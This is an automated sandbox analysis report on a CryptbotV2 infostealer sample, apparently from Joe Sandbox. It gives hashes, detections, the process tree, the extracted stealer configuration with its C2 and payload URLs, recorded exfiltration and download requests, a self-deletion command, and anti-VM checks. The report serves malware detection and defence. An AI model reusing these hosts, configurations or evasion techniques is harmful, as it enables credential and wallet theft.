Edit tour

Windows Analysis Report
1icHGAo2uY.exe

Overview

General Information

Sample Name:	1icHGAo2uY.exe
Analysis ID:	725299
MD5:	9fdc2feb79c86790bee69e140ed9b1b9
SHA1:	7eed01f680a97a7e5ff0b8b39faea9590c2f3dc0
SHA256:	29842f71bd503e86896ae4b274aa21a0eaa67144ad83e2df89072ea8e8458fd0
Tags:	exe
Infos:

Detection

CryptbotV2

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected CryptbotV2

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Hides threads from debuggers

Tries to detect sandboxes and other dynamic analysis tools (window names)

Self deletion via cmd or bat file

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Found C&C like URL pattern

C2 URLs / IPs found in malware configuration

PE file contains section with special chars

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the installation date of Windows

Internet Provider seen in connection with other malware

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Entry point lies outside standard sections

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Queries information about the installed CPU (vendor, model number etc)

Queries the product ID of Windows

Drops PE files

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

1icHGAo2uY.exe (PID: 5420 cmdline: C:\Users\user\Desktop\1icHGAo2uY.exe MD5: 9FDC2FEB79C86790BEE69E140ED9B1B9)

cmd.exe (PID: 4500 cmdline: "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

endyma.exe (PID: 2216 cmdline: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe MD5: C5AF489798080EF09451F8CC09E1C5E2)

DpEditor.exe (PID: 1380 cmdline: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe MD5: C5AF489798080EF09451F8CC09E1C5E2)

cmd.exe (PID: 1016 cmdline: C:\Windows\System32\cmd.exe" /c timeout -t 5 && del "C:\Users\user\Desktop\1icHGAo2uY.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 6136 cmdline: timeout -t 5 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

cleanup

Malware Configuration

Threatname: Cryptbot V2

{"C2 list": ["http://pefejo12.top/gate.php"], "EdgeDB": "true", "HistoryEdge": "false", "HistoryFirefox": "false", "Opera": "false", "CookiesEdge": "false", "Edge": "false", "ChromeDB": "true", "CookiesOpera": "false", "Wallet": "true", "CookiesFirefox": "false", "HistoryOpera": "false", "Desktop": "true", "Screenshot": "true", "EdgeExt": "true", "Chrome": "false", "Firefox": "false", "FirefoxDB": "true", "CookiesChrome": "false", "ChromeExt": "true", "HistoryChrome": "false", "FirefoxDBFolder": "_Firefox", "PasswordFile": "_AllPasswords.txt", "ChromeDBFolder": "_Chrome", "WalletFolder": "_Wallet", "EdgeDBFolder": "_Edge", "DesktopFolder": "_Desktop", "UserAgent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", "Prefix": "mrd-", "DeleteAfterEnd": "true", "ScreenFile": "$CREEN.PNG", "MessageAfterEnd": "false", "ExternalDownload": "http://vupmex01.top/endyma.dat", "InfoFile": "_Information.txt", "HistoryFile": "_AllHistory.txt", "CookiesFile": "_AllCookies.txt", "UAC": "false", "NTFS": "true"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.298813798.0000000001480000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_CryptbotV2	Yara detected CryptbotV2	Joe Security
00000000.00000002.300019054.000000000165A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CryptbotV2	Yara detected CryptbotV2	Joe Security
Process Memory Space: 1icHGAo2uY.exe PID: 5420	JoeSecurity_CryptbotV2	Yara detected CryptbotV2	Joe Security

Snort Signatures

ET DNS Query to a *.top domain - Likely Hostile - Source IP: 192.168.2.7 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.78.8.8.859477532023883 10/18/22-13:28:03.133913
SID:	2023883
Source Port:	59477
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN Win32/Cryptbotv2 Activity (POST) - Source IP: 192.168.2.7 - Destination IP: 80.76.42.141

Timestamp:	192.168.2.780.76.42.14149700802038918 10/18/22-13:28:03.845341
SID:	2038918
Source Port:	49700
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Trojan Generic - POST To gate.php with no accept headers - Source IP: 192.168.2.7 - Destination IP: 80.76.42.141

Timestamp:	192.168.2.780.76.42.14149700802022985 10/18/22-13:28:03.845341
SID:	2022985
Source Port:	49700
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Trojan Generic - POST To gate.php with no referer - Source IP: 192.168.2.7 - Destination IP: 80.76.42.141

Timestamp:	192.168.2.780.76.42.14149700802017930 10/18/22-13:28:03.845341
SID:	2017930
Source Port:	49700
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1icHGAo2uY.exe

ReversingLabs: Detection: 53%

Antivirus / Scanner detection for submitted sample

Source: 1icHGAo2uY.exe

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	ReversingLabs: Detection: 63%

Source: 8.2.endyma.exe.a70000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 13.2.DpEditor.exe.110000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen2

Source: 00000000.00000002.298813798.0000000001480000.00000040.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Cryptbot V2 {"C2 list": ["http://pefejo12.top/gate.php"], "EdgeDB": "true", "HistoryEdge": "false", "HistoryFirefox": "false", "Opera": "false", "CookiesEdge": "false", "Edge": "false", "ChromeDB": "true", "CookiesOpera": "false", "Wallet": "true", "CookiesFirefox": "false", "HistoryOpera": "false", "Desktop": "true", "Screenshot": "true", "EdgeExt": "true", "Chrome": "false", "Firefox": "false", "FirefoxDB": "true", "CookiesChrome": "false", "ChromeExt": "true", "HistoryChrome": "false", "FirefoxDBFolder": "_Firefox", "PasswordFile": "_AllPasswords.txt", "ChromeDBFolder": "_Chrome", "WalletFolder": "_Wallet", "EdgeDBFolder": "_Edge", "DesktopFolder": "_Desktop", "UserAgent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", "Prefix": "mrd-", "DeleteAfterEnd": "true", "ScreenFile": "$CREEN.PNG", "MessageAfterEnd": "false", "ExternalDownload": "http://vupmex01.top/endyma.dat", "InfoFile": "_Information.txt", "HistoryFile": "_AllHistory.txt", "CookiesFile": "_AllCookies.txt", "UAC": "false", "NTFS": "true"}

Source: 1icHGAo2uY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\1icHGAo2uY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.2.7:59477 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2038918 ET TROJAN Win32/Cryptbotv2 Activity (POST) 192.168.2.7:49700 -> 80.76.42.141:80
Source: Traffic	Snort IDS: 2022985 ET TROJAN Trojan Generic - POST To gate.php with no accept headers 192.168.2.7:49700 -> 80.76.42.141:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.7:49700 -> 80.76.42.141:80

Found C&C like URL pattern

Source: global traffic

HTTP traffic detected: POST /gate.php HTTP/1.1Content-Type: multipart/form-data; boundary=yaekMkUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36Host: pefejo12.topContent-Length: 897678Cache-Control: no-cache

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://pefejo12.top/gate.php

Source: Joe Sandbox View

ASN Name: HostingvpsvilleruRU HostingvpsvilleruRU

Source: global traffic	HTTP traffic detected: POST /gate.php HTTP/1.1Content-Type: multipart/form-data; boundary=yaekMkUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36Host: pefejo12.topContent-Length: 897678Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /endyma.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36Host: vupmex01.topCache-Control: no-cache

Source: 1icHGAo2uY.exe, 00000000.00000002.300019054.000000000165A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pefejo12.top/gate.php
Source: 1icHGAo2uY.exe, 00000000.00000002.300019054.000000000165A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pefejo12.top/gate.php0
Source: 1icHGAo2uY.exe, 00000000.00000002.300019054.000000000165A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pefejo12.top/gate.phpe4
Source: 1icHGAo2uY.exe, 00000000.00000003.288636351.00000000016BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vupmex01.top/
Source: 1icHGAo2uY.exe, 00000000.00000003.288636351.00000000016BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vupmex01.top/endyma.dat
Source: 1icHGAo2uY.exe, 00000000.00000003.288636351.00000000016BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vupmex01.top/endyma.datBi
Source: 1icHGAo2uY.exe, 00000000.00000003.288483224.000000000169D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vupmex01.top/endyma.datR
Source: 1icHGAo2uY.exe, 00000000.00000002.300019054.000000000165A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vupmex01.top/endyma.datt4
Source: 1icHGAo2uY.exe, 00000000.00000002.300878321.00000000016BD000.00000004.00000020.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.288636351.00000000016BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vupmex01.top/endyma.datwi
Source: 1icHGAo2uY.exe, 00000000.00000003.288636351.00000000016BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vupmex01.top/endyma.dat~i
Source: 4CD0.tmp.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 4CD0.tmp.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 4CD0.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 1icHGAo2uY.exe, 00000000.00000002.302615894.0000000003991000.00000004.00000800.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.252642958.0000000003C11000.00000004.00000800.00020000.00000000.sdmp, 4CD0.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 4CD0.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 1icHGAo2uY.exe, 00000000.00000002.300019054.000000000165A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fs.microsoft.c
Source: 1icHGAo2uY.exe, 00000000.00000002.302615894.0000000003991000.00000004.00000800.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.252642958.0000000003C11000.00000004.00000800.00020000.00000000.sdmp, 4CD0.tmp.0.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: 1icHGAo2uY.exe, 00000000.00000002.302615894.0000000003991000.00000004.00000800.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.252642958.0000000003C11000.00000004.00000800.00020000.00000000.sdmp, 4CD0.tmp.0.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: 1icHGAo2uY.exe, 00000000.00000002.302615894.0000000003991000.00000004.00000800.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.252642958.0000000003C11000.00000004.00000800.00020000.00000000.sdmp, 4CD0.tmp.0.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: 1icHGAo2uY.exe, 00000000.00000002.302615894.0000000003991000.00000004.00000800.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.252642958.0000000003C11000.00000004.00000800.00020000.00000000.sdmp, 4CD0.tmp.0.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: 1icHGAo2uY.exe, 00000000.00000002.302615894.0000000003991000.00000004.00000800.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.252642958.0000000003C11000.00000004.00000800.00020000.00000000.sdmp, 4CD0.tmp.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

DNS traffic detected: queries for: pefejo12.top

Source: global traffic

HTTP traffic detected: GET /endyma.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36Host: vupmex01.topCache-Control: no-cache

Source: 1icHGAo2uY.exe, 00000000.00000002.300019054.000000000165A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

PE file contains section with special chars

Source: endyma.exe.0.dr	Static PE information: section name:
Source: endyma.exe.0.dr	Static PE information: section name:
Source: endyma.exe.0.dr	Static PE information: section name:
Source: endyma.exe.0.dr	Static PE information: section name:
Source: endyma.exe.0.dr	Static PE information: section name:
Source: DpEditor.exe.8.dr	Static PE information: section name:
Source: DpEditor.exe.8.dr	Static PE information: section name:
Source: DpEditor.exe.8.dr	Static PE information: section name:
Source: DpEditor.exe.8.dr	Static PE information: section name:
Source: DpEditor.exe.8.dr	Static PE information: section name:

Source: 1icHGAo2uY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\1icHGAo2uY.exe

Code function: 0_2_00941088 NtAllocateVirtualMemory,

0_2_00941088

Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: cldapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Section loaded: wintypes.dll	Jump to behavior

Source: endyma.exe.0.dr	Static PE information: Section: ZLIB complexity 1.000041335978836
Source: endyma.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9954672759433962
Source: DpEditor.exe.8.dr	Static PE information: Section: ZLIB complexity 1.000041335978836
Source: DpEditor.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9954672759433962

Source: 1icHGAo2uY.exe

ReversingLabs: Detection: 53%

Source: 1icHGAo2uY.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\1icHGAo2uY.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\1icHGAo2uY.exe C:\Users\user\Desktop\1icHGAo2uY.exe
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /c timeout -t 5 && del "C:\Users\user\Desktop\1icHGAo2uY.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe	Process created: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout -t 5
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /c timeout -t 5 && del "C:\Users\user\Desktop\1icHGAo2uY.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe	Process created: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout -t 5	Jump to behavior

Source: C:\Users\user\Desktop\1icHGAo2uY.exe

File created: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F

Jump to behavior

Source: C:\Users\user\Desktop\1icHGAo2uY.exe

File created: C:\Users\user~1\AppData\Local\Temp\47E8.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@13/34@2/2

Source: C:\Users\user\Desktop\1icHGAo2uY.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: 1icHGAo2uY.exe, 00000000.00000003.288407988.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000002.301446280.00000000016ED000.00000004.00000020.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.263461682.0000000001696000.00000004.00000020.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.255181341.0000000003C0F000.00000004.00000800.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.252361865.0000000003C08000.00000004.00000800.00020000.00000000.sdmp, 4C33.tmp.0.dr, 517A.tmp.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6112:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:928:120:WilError_01

Source: C:\Users\user\Desktop\1icHGAo2uY.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: 1icHGAo2uY.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 1icHGAo2uY.exe

Static file information: File size 3613696 > 1048576

Source: 1icHGAo2uY.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x365800

Source: 1icHGAo2uY.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: endyma.exe.0.dr	Static PE information: section name:
Source: endyma.exe.0.dr	Static PE information: section name:
Source: endyma.exe.0.dr	Static PE information: section name:
Source: endyma.exe.0.dr	Static PE information: section name:
Source: endyma.exe.0.dr	Static PE information: section name:
Source: endyma.exe.0.dr	Static PE information: section name: .themida
Source: endyma.exe.0.dr	Static PE information: section name: .boot
Source: DpEditor.exe.8.dr	Static PE information: section name:
Source: DpEditor.exe.8.dr	Static PE information: section name:
Source: DpEditor.exe.8.dr	Static PE information: section name:
Source: DpEditor.exe.8.dr	Static PE information: section name:
Source: DpEditor.exe.8.dr	Static PE information: section name:
Source: DpEditor.exe.8.dr	Static PE information: section name: .themida
Source: DpEditor.exe.8.dr	Static PE information: section name: .boot

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: initial sample	Static PE information: section name: entropy: 7.979910468530583
Source: initial sample	Static PE information: section name: entropy: 7.979910468530583

Source: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe	File created: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe			Jump to dropped file
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	File created: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process created: C:\Windows\System32\cmd.exe" /c timeout -t 5 && del "C:\Users\user\Desktop\1icHGAo2uY.exe
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process created: C:\Windows\System32\cmd.exe" /c timeout -t 5 && del "C:\Users\user\Desktop\1icHGAo2uY.exe			Jump to behavior

Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	System information queried: FirmwareTableInformation			Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior
Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Source: C:\Windows\SysWOW64\timeout.exe TID: 6124

Thread sleep count: 44 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\1icHGAo2uY.exe

Registry key enumerated: More than 174 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\1icHGAo2uY.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\1icHGAo2uY.exe

File Volume queried: C:\ FullSizeInformation

